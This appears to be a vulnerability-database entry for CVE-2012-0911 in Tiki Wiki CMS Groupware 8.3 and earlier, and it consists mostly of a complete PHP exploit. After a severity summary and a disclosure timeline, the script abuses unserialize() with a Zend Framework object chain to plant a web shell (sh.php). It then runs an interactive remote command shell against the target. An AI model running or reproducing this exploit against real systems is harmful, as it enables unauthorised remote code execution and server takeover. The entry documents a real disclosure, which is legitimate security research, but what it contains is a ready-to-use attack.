Tiki Wiki CMS Groupware <= 8.3 unserialize() PHP Code Execution

2012-07-05 / 2012-07-06
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php /* ----------------------------------------------------------------- Tiki Wiki CMS Groupware <= 8.3 "unserialize()" PHP Code Execution ----------------------------------------------------------------- author...........: Egidio Romano aka EgiX mail.............: n0b0d13s[at]gmail[dot]com software link....: http://info.tiki.org/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in different locations: lib/banners/bannerlib.php:28: $views = unserialize($_COOKIE[$cookieName]); lib/banners/bannerlib.php:136: $views = unserialize($_COOKIE[$cookieName]); tiki-print_multi_pages.php:19: $printpages = unserialize(urldecode($_REQUEST['printpages'])); tiki-print_multi_pages.php:24: $printstructures = unserialize(urldecode($_REQUEST['printstructures'])); tiki-print_pages.php:31: $printpages = unserialize(urldecode($_REQUEST["printpages"])); tiki-print_pages.php:32: $printstructures = unserialize(urldecode($_REQUEST['printstructures'])); tiki-send_objects.php:42: $sendpages = unserialize(urldecode($_REQUEST['sendpages'])); tiki-send_objects.php:48: $sendstructures = unserialize(urldecode($_REQUEST['sendstructures'])); tiki-send_objects.php:54: $sendarticles = unserialize(urldecode($_REQUEST['sendarticles'])); The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input. This can lead to execution of arbitrary PHP code passing an ad-hoc Zend Framework serialized object. [-] Full path disclosure at: http://[host]/[path]/admin/include_calendar.php http://[host]/[path]/tiki-rss_error.php http://[host]/[path]/tiki-watershed_service.php [-] Disclosure timeline: [11/01/2012] - Vulnerability discovered [14/01/2012] - Issue reported to security(at)tikiwiki.org [14/01/2012] - New ticket opened: http://dev.tiki.org/item4109 [23/01/2012] - CVE number requested [23/01/2012] - Assigned CVE-2012-0911 [01/05/2012] - Version 8.4 released: http://info.tiki.org/article191-Tiki-Releases-8-4 [04/07/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } function get_path() { global $host, $path; $packet = "GET {$path}tiki-rss_error.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; if (!preg_match('/in <b>(.*)tiki-rss/', http_send($host, $packet), $m)) die("\n[-] Path not found!\n"); return $m[1]; } print "\n+----------------------------------------------------------------------+"; print "\n| Tiki Wiki CMS Groupware <= 8.3 Remote Code Execution Exploit by EgiX |"; print "\n+----------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /tiki/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $f_path = get_path(); print "\n[-] Path disclosure: {$f_path}\n"; class Zend_Search_Lucene_Index_FieldInfo { public $name = '<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?>'; } class Zend_Search_Lucene_Storage_Directory_Filesystem { protected $_dirPath = null; public function __construct($path) { $this->_dirPath = $path; } } interface Zend_Pdf_ElementFactory_Interface {} class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface { protected $_docCount = 1; protected $_name = 'foo'; protected $_directory; protected $_fields; protected $_files; public function __construct($directory, $fields) { $this->_directory = $directory; $this->_fields = array($fields); $this->_files = new stdClass; } } class Zend_Pdf_ElementFactory_Proxy { private $_factory; public function __construct(Zend_Pdf_ElementFactory_Interface $factory) { $this->_factory = $factory; } } // http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf $directory = new Zend_Search_Lucene_Storage_Directory_Filesystem($f_path."sh.php\0"); $__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo); $____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory); $payload = urlencode(serialize($____proxy)); $payload = str_replace('%00', '%2500', $payload); $payload = "printpages={$payload}"; $packet = "POST {$path}tiki-print_multi_pages.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; if (preg_match('/multiprint/', http_send($host, $packet))) die("[-] Multi-print feature disabled!\n"); $packet = "GET {$path}sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\ntiki-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }

References:

http://info.tiki.org/


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